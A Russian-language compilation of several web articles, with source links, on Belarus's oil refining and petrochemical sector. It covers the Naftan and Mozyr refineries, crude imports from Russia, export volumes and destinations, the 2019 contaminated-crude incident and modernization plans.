Нефтепереработка в белоруссии: структура работы, экспорт

Генеральный директор ОАО «Нафтан»

Константин Генрихович Чесновицкий

  • ——————————————————————————————————————————————-
  • Открытое акционерное общество «Нафтан», в прошлом Новополоцкий нефтеперерабатывающий завод, было запущено в эксплуатацию в 1963 году.
  • Наш НПЗ стоял у истоков авангардной отрасли народного хозяйства и является в настоящее время важным элементом единого народохозяйственного комплекса Республики.
  • В современных условиях хозяйствования потенциальный объем переработки нефтяного сырья на ОАО «Нафтан» составляет около 12 миллионов тонн в год.
  • В настоящее время‚ идет плановая реконструкция предприятия с участием иностранных партнеров и инвесторов‚ цель которой — углубить процесс переработки нефти и выйти на качественно новый уровень технологических процессов.
  • ОАО «Нафтан» имеет гибкую и мобильную структуру управления производственной и финансово-хозяйственной деятельностью предприятия, высокий уровень автоматизации производственных процессов, автоматизированную

систему контроля технологических параметров и бухгалтерского учета. Завод укомплектован высококвалифицированными рабочими, инженерами и руководящими кадрами.

——————————————————————————————————————————————-

Оао «нафтан»

  1. В гармонии с окружающей средой
    :
  2. Охрана окружающей среды и рациональное использование природных ресурсов являются одним из приоритетных направлений хозяйствования на предприятии.

скачать за 50 руб

после оплаты нажмите на кнопку «Вернуться на сайт» — документ будет скачан автоматически Скачанный документ будет содержать только материал уже воспроизведенный на сайте.

Источник: https://mirznanii.com/a/326392/neftepererabotka-v-belarusi

Нефтехимическая отрасль

В Беларуси производится более 500 видов нефтехимической и химической продукции.

Нефтехимический комплекс Беларуси включает в себя организации по добыче, переработке и транспортировке нефти, нефтепродуктообеспечению, химии и нефтехимии, ряд научных, проектно-конструкторских, строительных, ремонтных и пусконаладочных организаций. Основную часть из них объединяет концерн «Белнефтехим». Это один из крупнейших и стратегически важных промышленных комплексов страны.

Организации отрасли обеспечивают около 30 процентов объема промышленной продукции Республики Беларусь и половину экспорта товаров.

Продукция отрасли экспортируется более чем в 120 стран мира. На внешнем рынке реализуется свыше 70 процентов продукции, производимой нефтехимическим комплексом.

На зарубежных рынках ее представляет широкая товаропроводящая сеть.

РУП «Производственное объединение «Белоруснефть» производит полный цикл работ, связанных с разведкой и добычей нефти, как в Республике Беларусь, так и за ее пределами: в Российской Федерации, Венесуэле, Эквадоре и других странах.

Ежегодно в Беларуси добывается 1,645 млн.тонн нефти. Стабилизация объемов добычи нефти с 2013 года достигнута благодаря применению современных методов освоения скважин, добыче трудноизвлекаемых запасов нефти,  внедрению новой техники и технологий.

Крупнейшая сеть автозаправочных станций под брендом «Белоруснефть» обеспечивает почти 70 процентов объемов реализации моторного топлива на территории страны и предоставляет ряд услуг потребителям на самом современном уровне.

«Белоруснефть» также начинает масштабный инновационный проект по развитию туристического потенциала Беларуси, маршруты проекта будут начинаться на АЗС организации.

Белорусские нефтеперерабатывающие предприятия (ОАО Мозырский НПЗ» и ОАО «Нафтан») характеризуются высоким технологическим уровнем. По качеству и экологической чистоте моторного топлива Республика Беларусь лидирует среди стран СНГ. Ежегодный объем переработки нефти на НПЗ с 2016 года составляет 24 млн.тонн.

  • Производятся автомобильные бензины, дизельное топливо (в том числе для двигателей в условиях арктического и холодного зимнего климата), топливо для дозвуковых реактивных двигателей марки РТ и Jet A-1, ароматические углеводороды, автомобильные масла.
  • Благодаря реализации масштабных инвестиционных проектов НПЗ в полном объеме обеспечивают выпуск моторных топлив 5-го экологического класса в соответствии с требованиями европейских экологических стандартов и Технического регламента Таможенного союза.
  • НПЗ перерабатывают нефть, поставляемую  из Российской Федерации по магистральным нефтепроводам, которые продолжают сеть экспортных магистральных нефтепроводов российской акционерной компании «Транснефть».
  • Обслуживают нефтепроводы, обеспечивают поставку нефти на НПЗ и осуществляет транспортировку транзитного потока в направлении Польши и Украины белорусские предприятия по транспорту нефти ОАО «Гомельтранснефть Дружба» и ОАО «Полоцктранснефть Дружба».

ОАО «Белшина» выпускает свыше 300 типоразмеров шин в количестве более 5 млн. штук в год для легковых и большегрузных автомобилей, строительно-дорожных, подъемно-транспортных, сельскохозяйственных машин и тракторов. Особая гордость бобруйских шинников – сверхкрупногабаритные шины, которые используются на автомобилях-гигантах, таких как БелАЗ.

В рамках технического перевооружения ОАО «Белшина» освоено производство современной бескамерной цельнометаллокордной (ЦМК) шины регулируемого давления с повышенной проходимостью грузоподъемностью 21 т (в том числе для эксплуатации на автосамосвалах МЗКТ). Проведена модернизация производства легкового потока, в результате которого расширен ассортимент легковых шин мирового уровня качества. Завершено техническое перевооружение производства грузовых цельнометаллокордных шин.

  1. Организации нефтехимического комплекса республики выпускают также минеральные удобрения различного типа: азотные (ОАО «Гродно Азот»), фосфорные и комплексные (ОАО «Гомельский химический завод»).
  2. Развита промышленность химических волокон (ОАО «СветлогорскХимволокно», ОАО «Могилевхимволокно»).
  3. Завод «Химволокно» ОАО «Гродно Азот» выпускает полиамидные волокна и нити, кордные ткани, а также первичный полиамид-6 и композиционные материалы на его основе.
  4. Завод «Полимир» ОАО «Нафтан» специализируется на производстве полиэтилена высокого давления как базовых марок, так и композиций на его основе, а также производит широкий спектр полиакрилонитрильных волокон.
  5. Производятся также стекловолокно и изделия на его основе (ОАО «Полоцк-Стекловолокно»), парафин (ОАО «Завод горного воска»), лаки, краски (ОАО «Лакокраска») и другая продукция.
  6. Современный уровень организации производства, постоянный акцент на техническое перевооружение и модернизацию производств наряду с высокой квалификацией рабочих и специалистов являются основными слагаемыми стабильной работы отрасли, которые позволяют обеспечить высокий технологический и качественный уровень выпускаемой продукции.
  7. Все организации белорусского нефтехимического комплекса работают по системе международных стандартов качества серии ИСО 9000.
  8. Активно проводится работа по внедрению стандартов управления безопасностью окружающей среды серии ИСО 14000 и стандартов управления профессиональной безопасностью и здоровьем OHSAS 18001.
  9. На территории республики реализуется моторное топливо только пятого экологического класса.
  10. Дальнейшее развитие товаропроводящей сети, поиск новых бизнес-партнеров, активное продвижение нефтехимической и химической продукции на рынки зарубежных стран является стратегическим направлением деятельности организаций комплекса.

Источник: http://belarusfacts.by/ru/belarus/economy_business/key_economic/petrochem/

Нефтепереработка в Белоруссии: структура работы, экспорт

Своей нефти в Белоруссии немного, и её запасы во много раз меньше, чем требуется предприятиям нефтепереработки. Суммарно со всех белорусских месторождений в год добывается около 1,7 миллиона тонн  нефти-сырца, и  эта цифра имеет тенденцию к понижению, поскольку самые  крупные месторождения этой страны уже находятся на заключительной стадии эксплуатации.

Дефицит углеводородного сырья  Республика Беларусь компенсирует за счет импорта, объём которого находится на отметке  22 миллиона тонн в год. Основная страна-экспортер сырой нефти для Белоруссии – это Россия.

Мощности белорусских нефтеперерабатывающих предприятий позволяют обрабатывать в год более 21 миллиона тонн сырца. Объем производства  нефтепродуктов в 2014 году составил около 17,8 миллионов тонн, большая часть из которых – это  дизельное топливо.

Нетрудно подсчитать, что нефтепереработка в Белоруссии практически полностью зависима от импортного углеводородного сырья и условий  его поставки.

Основным органом управления нефтеперерабатывающей отраслью является государственный концерн под названием «Белнефтехим».

Он осуществляет контроль и регулирует  все белорусские предприятия химической и нефтехимической промышленности.

Отрасль нефтепереработки представлена двумя крупнейшими предприятиями  – «Нафтан», на сто процентов принадлежащий государству,   и Мозырский нефтеперерабатывающий завод, 42,58 процента акций которого находится в собственности  российской нефтегазовой компании «Славнефть».

Если сравнивать объем нефтепереработки республики с другими странами, то  Беларусь стоит вровень  с такими европейскими государствами, как Австрия, Хорватия и Венгрия, чья нефтепереработка находится на уровне около 22 миллионов тонн сырой нефти в год.

К мировым лидерам по переработке углеводородного сырья относятся США (примерно 21 процент всех мировых перерабатывающих  мощностей). Примерно   около 20 процентов сырой нефти перерабатываются в странах Западной Европы.

Четверка  мировых лидеров по этому показателю выглядит так;

  1. Соединенные  Штаты Америки;
  2. Япония;
  3. Китайская Народная Республика;
  4. Российская Федерация.

Структура работы отрасли переработки нефти в Республике Беларусь

По заявлению государственного белорусского концерна «Белнефтехим», основным направлением привлечения инвесторов в нефтеперерабатывающую отрасль белорусской экономики является ориентация  на Россию. На данный момент республика практически не покупает углеводородное сырье в экспортеров из других стран.

Одно из ключевых условий входа инвесторов в капитал конкретного предприятия является  принятие ими на себя  обязательств, касающихся  финансирования и практической реализации различных программ развития, разработанных для них.

Читать также: История компании «Северная нефть»

К примеру, общая стоимость такой программы для ОАО «Мозырский НПЗ» специалисты оценивают более, чем в 2 миллиарда долларов США, а программа по модернизации ОАО «Нафтан» подразумевает капитальные вложения в сумме 1,4 миллиарда американских долларов (в эту программу входит порядка 22-х  проектов по реконструкции и техническому перевооружению).

ОАО «Нафтан» находится в списке совместных белорусско-российских проектов интеграции, которые направлены на приватизацию этого государственного предприятия.  Еще в 2014 году белорусская сторона заявляла  о готовности продать порядка 30-ти процентов принадлежащих государству  акций Мозырского нефтеперерабатывающего завода.

Высокая степень зависимости Белоруссии  от импорта российской сырой нефти вынуждает руководство республики искать альтернативные пути снабжения сырьем своей нефтеперерабатывающей отрасли. К примеру, в  2010-ом году Республика Беларусь начала экспорт венесуэльской и азербайджанской нефти, поскольку в это время условия российского импорта были серьезно изменены.

В течение  2010-го и 2011-го годов из Азербайджана и Венесуэлы было завезено от  1,3 до 1,7 миллиона тонн этого сырья. Однако затем, начиная с 2012-го года, республика сначала прекратила закупку азербайджанских углеводородов, а во второй половине этого же года перестала завозить и венесуэльское сырье.

Беларусь ежегодно отправляет на экспорт от 15-ти до 16-ти миллионов тонн  нефтепродуктов.

К примеру, в 2014-ом  году этот показатель составил 13,8 миллионов тонн, что на полтора процента больше, чем в 2013-ом. Основные импортеры белорусских нефтепродуктов – это Украина, Голландия и Великобритания.

Работают белорусские НПЗ и  на давальческом сырье, которое им поставляют следующие иностранные компании:

  • “Лукойл”;
  • “Сургутнефтегаз”;
  • «Славнефть»;
  • «Славнефитехим»;
  • “Литаско-Белоруссия”;
  • «Трайпл»;
  • «Белроснефть»;
  • “Юнивест-М”;
  • “Миралекс”;
  • “Итерабелнафта”.

Из Российской Федерации в Республику  Беларусь в течение 2013-го года было завезено 21,3 миллиона тонн сырой нефти, а в течение 2014-го –  22,4 миллиона тонн.

 В 2013-ом годовой баланс экспортных поставок этого сырья из РФ подписать не удалось, поэтому работа шла поквартально.

В 2014-ом году баланс на год после долгих и продолжительных переговоров подписать удалось, и объем поставок был зафиксирован на уровне  23-х миллионов тонн.

Читать также: Конфликт с поставкой нефти в Беларусь

Общие сведения о белорусской нефтепереработке

Объемы перерабатываемого этой отраслью сырья в республике был стабилен на протяжении 2005-го – 2009-го годов и, согласно данным, предоставленным  Национальным статистическим  комитетом, составлял примерно 21-22 миллиона тонн ежегодно.

В 2010-ом этот показатель снизился до 16,5 миллионов, и вызвано это было длительными согласованиями  условий поставки российского сырья. В период с  2011-го по 2014-ый  год  белорусская нефтепереработка вновь стабилизировалась  на уровне 2005-го – 2009-го (см. выше), и   в течение 2014-го было переработано в общей сложности   22,3 миллиона тонн углеводородного сырца.

В период до 2010-го года перерабатывающие предприятия республики производили  около 3,2 миллионов тонн автомобильных бензинов, примерно 6,5 миллионов тонн  дизельного топлива и около 6-ти миллионов тонн топочного мазута.

Несмотря на некоторый спад в 2010-ом, когда снизились поставки российского сырья, уже в 2011-лм объемы производства нефтепродуктов вернулись на прежний уровень.

Значительный рост в 2011-ом году производства такого продукта, как дизельное топливо, объясняется тем,   что в его объемах были учтены количества произведенного биодизеля, доля которого в общем количестве производимых дизельных видов топлива составляет почти 30-ть процентов. В 2012-ом

Беларусь прекратила экспорт разбавителей и  растворителей, за счет чего перерабатывающая отрасль этой страны стала  наращивать производство именно нефтепродуктов, снижая темпы темпы производства продукции химического назначения. В связи с этим многим химическим предприятиям республики пришлось быстро переориентироваться на производство нефтепродуктов.

В 2013-ом, если сравнивать его с 2012-ым годом, произошло значительное (почти  на 23 процента) снижение объемов  производства дизтоплива. Начиная 2014-го, эти показатели менялись незначительно (+/- 7 процентов).

Экспортный потенциал республиканской нефтепереработки

Белоруссия  выгодно расположена с  географической точки зрения. Транспорт  нефти и нефтепродуктов из этой страны возможен во многие страны Европы. Кроме того, по её территории проходят весьма важные ветки экспортного нефтепровода «Дружба» – Северная и Южная, что дает возможность зарабатывать на транзите сырой нефти.

Читать также: Развитие добычи нефти в Ухте

Основная статья экспорта республики – это реализация за пределы страны нефтепродуктов. Её доля  в общем экспортном потоке составляет порядка 30-ти процентов.

В 2012-ом объемы такого экспорта достигли значения  17,5 миллионов тонн, однако уже в 2013-ом этот показатель упал более, чем на 23 процента – до  13,6 миллионов т. В 2014-ом  объемы выросли незначительно – до 13,8 млн. тонн.

По данным статистики за 2014-ый год, структура экспорта продуктов нефтепереработки в республике нефтепродуктов была такова:

  • по 25 % – Великобритания и Украина;
  • 17 % –  Голландия;
  • 13 % –  Российская Федерация;
  • 11 % –  Италия;
  • 3 % –  Литва;
  • 2 % – Латвия.

Специалисты сразу отметили двукратное (по сравнению с 2013-ым годом) падение доли давнего белорусского партнера в этой сфере – Нидерландов (с 36-ти до 17-ти процентов), и рост в два с половиной раза доли Великобритании (с 10-ти до 25-ти %). В остальном структура серьезных изменений не претерпела.

Нет соответствующих видео

Источник: https://neftok.ru/strany/neftepererabotka-v-belorussii.html

Нештатная ситуация. Беларусь временно остановила экспорт нефтепродуктов

Беларусь ограничила поставки нефтепродуктов на экспорт. Такая мера принята в связи с поступлением на нефтеперерабатывающие заводы некачественной нефти из России и необходимостью обеспечить топливом предприятия во время посевной кампании.

Об этом во время республиканского оперативного штаба по контролю за ситуацией с поставками нефти рассказал заместитель председателя концерна «Белнефтехим» Владимир Сизов. По его словам, эти ограничения носят временный характер. Обязательства по поставкам контрагентам будут исполнены.

Штаб прошел на нефтеперерабатывающем заводе «Нафтан» 21 апреля. Информация размещена в заводской газете «Вестник Нафтана».

В последние несколько дней в Беларуси отмечают заметное ухудшение качества нефти марки Urals, поступающей из России по магистральному нефтепродуктопроводу «Гомельтранснефть Дружба». Белорусская сторона отмечает ухудшение качества по органическим хлоридам — превышение от нормативного значения составляет более 20 раз.

Российская компания «Транснефть», в присутствии представителя которой проведены испытания проб, признала данный факт. Это подтверждено подписанным двусторонним актом. Источник загрязнения обнаружен «Транснефтью» на участке Самара — Унеча.

Как отмечают белорусские специалисты, переработка сырья плохого качества может привести к неблагоприятным последствиям для нефтеперерабатывающих заводов вплоть до их остановки и длительного простоя. Ущерб может исчисляться сотнями миллионов долларов.

Чтобы не допустить критической ситуации, 21 апреля на «Нафтане» была организована работа республиканского оперативного штаба. В ходе заседания вице-премьер Игорь Ляшенко назвал сложившуюся ситуацию внештатной. По его словам, она требует четкой координации.

Во-первых, это взаимодействие с российской стороной — «Транснефтью». Во-вторых, это максимально безопасные режимы работы заводов, направленные на недопущение повреждения оборудования. В-третьих, обеспечение потребителей на внутреннем рынке и экспортных поставок.

Уже сейчас из-за поступления некачественной нефти белорусские заводы вынуждены изменить технологический режим работы.

На Мозырском НПЗ был оптимизирован объем переработки нефти, многократно увеличено количество реагентов, предназначенных для защиты оборудования от коррозии, а также приостановлена работа установки изомеризации для исключения дезактивации катализатора, рассказал генеральный директор завода Виталий Павлов.

Кроме того, по его словам, налажен усиленный контроль за работой оборудования и технологическим режимом, а также обеспечено оперативное выполнение ремонтных работ. Предпринятые меры позволяют обеспечивать выпуск товарной продукции требуемого качества, сказал руководитель Мозырского НПЗ.

На «Нафтане», который снабжается из северной и южной веток нефтепровода «Дружба», некачественная нефть пока не поступала. Ее ждут здесь из южной ветки с воскресенья на понедельник, уточнил генеральный директор предприятия Александр Демидов.

По его словам, принято решение о снижении загрузки завода на 40% для сохранения действующего оборудования, а также направлено обращение в «Транснефть» о максимальном увеличении загрузки северной линии нефтепровода Сургут — Полоцк, которая сейчас работает только до 10% от возможной загрузки. Технические возможности для этого есть, отметил Александр Демидов.

В ближайшее время белорусская и российская сторона намерены обсудить технические и компенсационные вопросы. Переговоры пройдут в Москве 23 апреля.

Предполагается, что российскую делегацию возглавит президент «Транснефти» Николай Токарев.

Белорусская делегация во главе с председателем концерна «Белнефтехим» Андреем Рыбаковым выезжает на переговоры 22 апреля и будет требовать компенсации за поставку некачественной нефти.

Претензии к качеству российский нефти возникли на фоне споров Беларуси и России. В начале апреля «Гомельтранснефть Дружба» заявила о намерении повысить тариф на прокачку нефти на 23%, с чем не согласились в России.

Позже Александр Лукашенко, сравнив ограничения на поставки белорусских продуктов на российский рынок с санкциями, пригрозил поставить на ремонт нефтепровод «Дружба». В России назвали состояние белорусского участка удовлетворительным и предложили помощь в устранении дефектов.

Источник: https://naviny.by/article/20190421/1555856688-vneshtatnaya-situaciya-belarus-vremenno-ostanovila-eksport

Развитие нефтеперерабатывающих и нефтехимических производств Республики Беларусь

Белорусская нефтепереработка завершает инвестиционный цикл. Концерн «Белнефтехим» готовит 10-летний план работы «Стратегия развития нефтехимического комплекса до 2030 года».

За восемь лет на его предприятиях завершено строительство более 2 тыс. объектов.

Начальник управления перспективного развития концерна «Белнефтехим» Андрей Мленик подробно рассказал о знаковых объектах белорусского нефтехимического комплекса. Среди них:

  • установки по производству и повышению качества моторных топлив Мозырского НПЗ и «Нафтана»;
  • реконструкция Белорусского газоперерабатывающего завода;
  • установки по выпуску полиамида и полиамидных технических нитей, реконструкция производства карбамида и аммиака в ОАО «Гродно Азот»;
  • реконструкция производств смешанных удобрений на Гомельском химическом заводе и ряд других.
  • С вводом в эксплуатацию на «Нафтане» установки первичной переработки нефти АТ-8 суммарная мощность по переработке нефти двух НПЗ достигла 24 млн т в год. 
  • Расширена линейка выпускаемой продукции: организовано производство высокооктановых добавок к бензинам, впервые получен 98-й и 100-й бензины, выпускаются дизельное топливо с улучшенными низкотемпературными характеристиками, новые виды нефтяных битумов.
  • Соответствие дизельного топлива и автомобильных бензинов экологическому классу 5 и европейским нормам Евро-5 позволило закрепиться на премиальных рынках близлежащих стран.

Освоен выпуск новых видов продукции: конструкционных стекломатов, различных видов стеклотканей, синтетических нитей и волокон, нетканых полипропиленовых материалов, базальтового волокна и продукции на его основе. Значительно увеличены мощности по производству NPK удобрений, полиамида-6, нетканых материалов нового поколения, мягких полимерных контейнеров, полипропиленовой упаковочной ткани, аммиака, карбамида.

Внешние факторы

Российский налоговый маневр стал мейнстримом в нефтянке. Выход для белорусских предприятий найден в максимальном ускорении модернизации НПЗ. Только оно позволило снизить потери от удорожания сырья.

«Мы отчетливо осознаем, что скорейшее завершение реализации проектов по глубокой переработке нефти на обоих НПЗ — это главный фактор минимизации последствий налогового маневра», — отметил на конференции заместитель председателя концерна «Белнефтехим» Владимир Сизов.

По его словам, сроки сдачи объектов на НПЗ остаются неизменными. Однако все острее ощущается недостаток квалифицированных строителей.

Владимир Сизов

— Например, на Мозырском НПЗ мы сейчас подошли к  этапу монтажа очень сложных узлов — блоков высокого давления с трубами большого диаметра из марок стали специального исполнения. Для монтажа и сварки нужен персонал, имеющий опыт выполнения данных работ.

Белорусских строителей с такой квалификацией не хватает, и сейчас обсуждается вопрос о привлечении трудовых ресурсов из-за пределов Беларуси.

Речь идет о представителях российских, азербайджанских, турецких, китайских и отдельных европейских компаний, — отметил Владимир Сизов.

Директор дирекции по реконструкции и развитию ОАО «Мозырский НПЗ» Александр Гуд подчеркнул, что временнáя пружина сжимается, работа по поиску и привлечению трудовых ресурсов необходимой квалификации идет практически круглосуточно, план четкой организации работ с инженерной подготовкой готов.

Александр Гуд

H-Oil завтра

В мире всего десяток предприятий, где работают технологии, подобные Н-Oil. Технологию переработки тяжелых нефтяных остатков на конференции представил заместитель начальника нефтехимического производства ОАО «Мозырский НПЗ» Максим Лясович:

— Гидрокрекинг подходит для переработки гудрона с высоким содержанием асфальтенов и металлов. При этом получается самая качественная продукция по сравнению с другими продуктами переработки остатков.

Процесс имеет высокую глубину конверсии, установка эксплуатируется без изменения режима и качества продукции в течение всего периода между плановыми остановками на ремонт, — подчеркнул Максим Лясович.

Максим Лясович

Что же будет после запуска комплекса H-Oil на Мозырском НПЗ? Индекс Нельсона вырастет до 11,81, глубина переработки увеличится до 90%, выход светлых нефтепродуктов вырастет до 67% (а в некоторых случаях до 74%), снизятся объемы производства котельного топлива и содержание в нем серы упадет до 1%. Эти цифры не самоцель. Как говорилось выше, ситуация в отрасли быстро меняется.

Модернизация двух нефтеперерабатывающих заводов, строительство комплекса замедленного коксования на «Нафтане» и комплекса переработки тяжелых нефтяных остатков на Мозырском НПЗ дают видение того, какой будет белорусская нефтепереработка в ближайшее время, условно говоря, завтра. На форуме в Мозыре эксперты обсуждали следующие этапы развития, иными словами, послезавтра нефтехимии.

В точке принятия решения

На конференции производители и поставщики оборудования, лицензиары предлагали свои решения, коллеги-нефтепереработчики делились опытом.

Начальник исследовательской лаборатории ОАО «Славнефть-ЯНОС» Дмитрий Борисанов рассказывал о технологии гидродемеркаптанизации, которая позволила компании сосредоточиться на производстве реактивного топлива.

Генеральный директор ООО «КИНЭКС» Владимир Коптенармусов делился особенностями технологии каталитического висбрекинга.

Менеджер компании KBR Эдвард Гриффитс представил революционную технологию твердокислотного алкилирования.

Успешные примеры диверсификации бизнеса привел спикер компании-организатора конференции EURO PETROLEUM CONSULTANTS Валентин Котломин.

Он, в частности, обратил внимание на опыт реализации проекта POLYOL в Венгрии и переориентацию нефтеперерабатывающих заводов в Италии на переработку биомассы.

Все эти решения, по мнению участников конференции, отчасти можно внедрить и в белорусском нефтехимическом секторе. Однако готового комплексного предложения по развитию отрасли быть не может.

Участники конференции отметили устойчивый рост небольших проектов, связанных со средне- и малотоннажной химией.

Так, в России помимо специализированных химических компаний, таких как «Еврохим» и «СИБУР», крупные нефтегазовые компании «Роснефть», «Газпромнефть» и «Лукойл» развивают свои продуктовые корзины.

А переработчики стран Азии и Ближнего Востока строят новые крупные предприятия, которые уже изначально рассчитаны на переработку углеводородов в целях получения сырья для нефтехимии. 

Эксперты считают, что эта стратегия актуальна и для Беларуси: нефтеперерабатывающие и нефтехимические предприятия уже реализуют крупные проекты, направленные на обеспечение внутреннего рынка нефтехимическими продуктами и на их экспорт. Конкурентным преимуществом страны является выгодное географическое положение, где логистические проблемы не так остры, как для азиатских стран.

Об этом говорил и заместитель председателя концерна «Белнефтехим» Владимир Сизов, обращаясь к представителям компаний-лицензиаров, которые могут принять участие в инвестировании предприятий:

— У нас нет выхода к морю, но мы территориально близки к емкому и высокомаржинальному европейскому рынку как с точки зрения поставки туда продукции, так и получения промежуточных товаров, которые могут подвергаться последующей переработке на наших заводах. Положительным фактором также является вхождение в Европейский экономический союз, который объединяет рынок для 200 млн человек и относится к растущему рынку. 

В Беларуси много специализированных, но не очень крупных в сравнении с международными конгломератами предприятий, которые могли бы производить определенные виды продукции, востребованной для внутренних производств — текстильных, фармацевтических, строительных. Синергия предприятий, входящих в состав концерна «Белнефтехим», достигается с высокой степенью эффективности в отличие от тех регионов, где предприятия вступают в конкуренцию» — сообщил заместитель председателя концерна «Белнефтехим» Владимир Сизов.

Среди преимуществ Владимир Сизов также отметил развитый промышленный комплекс страны и роль нефтехимии как определяющего звена в формировании экономики государства и региона. Нефтехимия является потенциальным поставщиком для предприятий машиностроения и развития иных крупнотоннажных производств. 

Он обратил внимание на авторитетные технические школы в белорусских университетах, которые выпускают высококвалифицированный надежный персонал, эксплуатирующий сложнейшее оборудование современных производственных комплексов.

По словам Владимира Сизова, сейчас отрасль находится в точке принятия решения о стратегическом пути на ближайшее десятилетие. 

В Беларуси много специализированных, но не очень крупных в сравнении с международными конгломератами предприятий, которые могли бы производить определенные виды продукции, востребованной для внутренних производств — текстильных, фармацевтических, строительных. Синергия предприятий, входящих в состав концерна «Белнефтехим», достигается с высокой степенью эффективности в отличие от тех регионов, где предприятия вступают в конкуренцию.

Интеграция в мировую экономику

jpg» alt=»Валентин Котломин»> Валентин Котломин

Обзор текущих и перспективных проектов отрасли в странах СНГ представил директор стратегических исследований и экономики переработки компании EURO PETROLEUM CONSULTANTS Валентин Котломин.

Все компании и активы региона СНГ интегрированы в мировую экономику и интенсивно с ней взаимодействуют, развиваются в соответствии с тенденциями, отмеченными экспертом. Выделим основные из них. 

  1. Путь на Восток. Доля зрелых рынков в потреблении нефтепродуктов, таких как Европа и Северная Америка, начинает снижаться. Наибольший рост потребления нефтепродуктов наблюдается в Азиатско-Тихоокеанском регионе и Африке.
  2. Снижение спроса на котельное топливо. Начиная с середины 70-х годов мир потребляет все меньше мазута. В последние 10 лет средние темпы роста по потреблению мазута снижались на 2% в год. В настоящее время замедленное коксование — это самый популярный процесс по увеличению глубины переработки нефти и уходу НПЗ от производства котельного топлива.
  3. Улучшение качества моторных топлив. Повышение экологических стандартов.
  4. Интеграция нефтепереработки и нефтехимии. Нефтехимическая продукция дороже, чем топливо. За 20-летний период рост мировой экономики составил 80%, спрос на бензин и дизель увеличился только на 40%, на полиолефины на 140%, а на ПЭТФ в пять раз! Все это заставляет нефтепереработчиков уходить из топливной модели бизнеса и пытаться интегрироваться в более дорогие продуктовые переделы.

Все новые НПЗ, строящиеся в мире, изначально интегрированы в нефтехимию. Так, АО «ТАНЕКО» к 2020 году планирует начать производство ароматических углеводородов — бензола и параксилола.

В этом проекте делается все возможное, чтобы развить экономику региона — Республики Татарстан (налоги, занятость).

Планируется, что производство ароматических углеводородов в дальнейшем будет интегрировано в нефтехимическую продукцию дальнейших переделов — производство терефталевой кислоты и полиэтилентерефталата.

Другие нефтеперерабатывающие заводы России также начинают присматриваться к возможностям интеграции, хотя это не носит массовый характер в отличие от ближневосточных компаний, в которых идея интеграции в нефтехимию стала неотъемлемой частью корпоративных стратегий.

  1. Импортозамещение. Все больше стран начинают защищать свои рынки потребления и развивать внутреннее производство. В Китае к 2020 году произойдет увеличение выпуска полиэтилена на 5 млн т и полипропилена на 10 млн т. Китай будет полностью независим от поставок полипропилена и станет мировой нефтехимической фабрикой. В России с запуском комплекса «ЗапСибНефтехим» компании «СИБУР» с 2020 года произойдет полное импортозамещение по полиэтилену.

Эксперт считает, что существует ряд факторов, которые предопределяют стратегии развития нефтегазоперерабатывающей и нефтехимической отраслей. Проекты в странах СНГ, в том числе Беларуси, соответствуют этим тенденциям. Ключевым фактором долгосрочного функционирования данных производственных активов является эффективная реализация новых технологических решений.

Дальнейшая работа конференции была направлена на обсуждение более узких тем о проектном управлении, привлечении финансирования, повышении эффективности производства, внедрении передовых технологий, диверсификации НПЗ в сторону нефтехимии.

Стратегия-2030

По словам начальника управления перспективного развития концерна «Белнефтехим» Андрея Мленика, развитие белорусских НПЗ по «топливному варианту» сопряжено с рядом рисков как по сбыту продукции, так и по эффективности их работы в целом.

Это обусловлено прежде всего усилением конкуренции на потенциальных рынках сбыта моторных топлив, а также отсутствием свободной емкости близлежащих региональных рынков для обеспечения эффективной реализации нефтепродуктов.

Такой вариант в условиях мировой цены на нефть не позволит обеспечить безубыточную работу заводов.

Андрей Мленик добавил, что при подготовке «Стратегии развития нефтехимического комплекса Республики Беларусь до 2030 года» рассматриваются несколько вариантов развития нефтеперерабатывающих производств, анализируются риски и влияние изменений макроэкономических параметров, а также учитывается тот факт, что товарные материальные потоки, получаемые при реализации на НПЗ двух проектов по глубокой переработке нефти, станут, по сути, базой для формирования дальнейших переделов, а также строительства новых производств.

ФОТО Игорь Малащенко

Источник: https://belchemoil.by/news/ekonomika/mezdunarodnaya-nauchno-technicheskaya-konferencia

Белорусская нефтепереработка | Экономическая газета

Чего ждать белорусским НПЗ от 2007 г.? Период расцвета отечественной нефтепереработки, наблюдаемый в 2006 г., прошел. В текущем году заводы будут озабочены поиском дополнительного финансирования закупок нефти.

Проблемы, связанные с кредитованием белорусских НПЗ, и прогнозы о будущем нефтепереработки в том числе освещались на прошедшей международной практической конференции «Экспорт нефтепродуктов из Беларуси. Белорусская нефтепереработка», организаторами которой выступили британская компания «Confidence Energy» и Белорусский нефтяной торговый дом.

Участие в конференции ряда крупных банков, трейдеров и потребителей из Восточной и Западной Европы не говорит о том, что белорусский рынок нефтепереработки стал более привлекательным. Мероприятие было рассчитано, в первую очередь, на расширение контактов белорусских НПЗ с поставщиками нефти и поиск кредиторов.

Напомним, что с начала года нефтеперерабатывающие заводы работают в новых условиях.

Как отметил в ходе конференции зампредседателя концерна «Белнефтехим» Михаил Осипенко, введение РФ таможенной пошлины на поставляемую в Беларусь нефть и увеличение РБ ввозных таможенных пошлин на нефтепродукты до уровня российских радикально изменило экономику нефтепереработки в текущем году. Поэтому с начала года был отмечен уход большинства российских нефтяных компаний, которые традиционно поставляли давальческое сырье на белорусский рынок.

Для того чтобы вернуть давальцев, было принято решение о частичном возмещении им издержек, связанных с введением ввозной пошлины на нефть. По словам М.

Осипенко, компенсацию в размере 24 USD/т получат те компании, которые своевременно оформят документы на ее выделение по состоянию на 1 февраля. Компании, аффилированные «Роснефти» и «Татнефти», их уже оформили, другие находятся в стадии оформления.

Предполагается рассмотреть также увеличение размера компенсации давальцам в размере 90% от ставки пошлины, но этот проект, по словам М.Осипенко, «пока до главы государства не дошел».

В руководстве «Белнефтехима» заверяют, что объемы переработки после ухода давальцев были восполнены за счет закупок нефти самими НПЗ, производственные мощности заводов загружены полностью, а по итогам трех месяцев этого года предприятиями концерна «обеспечивается положительная динамика по всем показателям».

«Я убедительно заявляю, что НПЗ по итогам первого квартала будут иметь рентабельность не меньше 5%», — заверил журналистов М.Осипенко.

Средства на дальнейшую закупку нефти НПЗ, по его словам, будут изысканы за счет привлечения иностранных банковских кредитов.

Так, исходя из планируемого объема нефтепереработки в апреле на уровне 1,8-1,9 млн. т, для закупки нефти требуется более 400 млн. USD в месяц.

Вместе с тем, как считают представители белорусских НПЗ, после отказа российских давальцев поставлять нефть из-за экономически неэффективной переработки, финансовое положение заводов значительно ухудшилось, а в течение трех месяцев ОАО «Нафтан» и «Мозырский НПЗ» работают в «минусе».

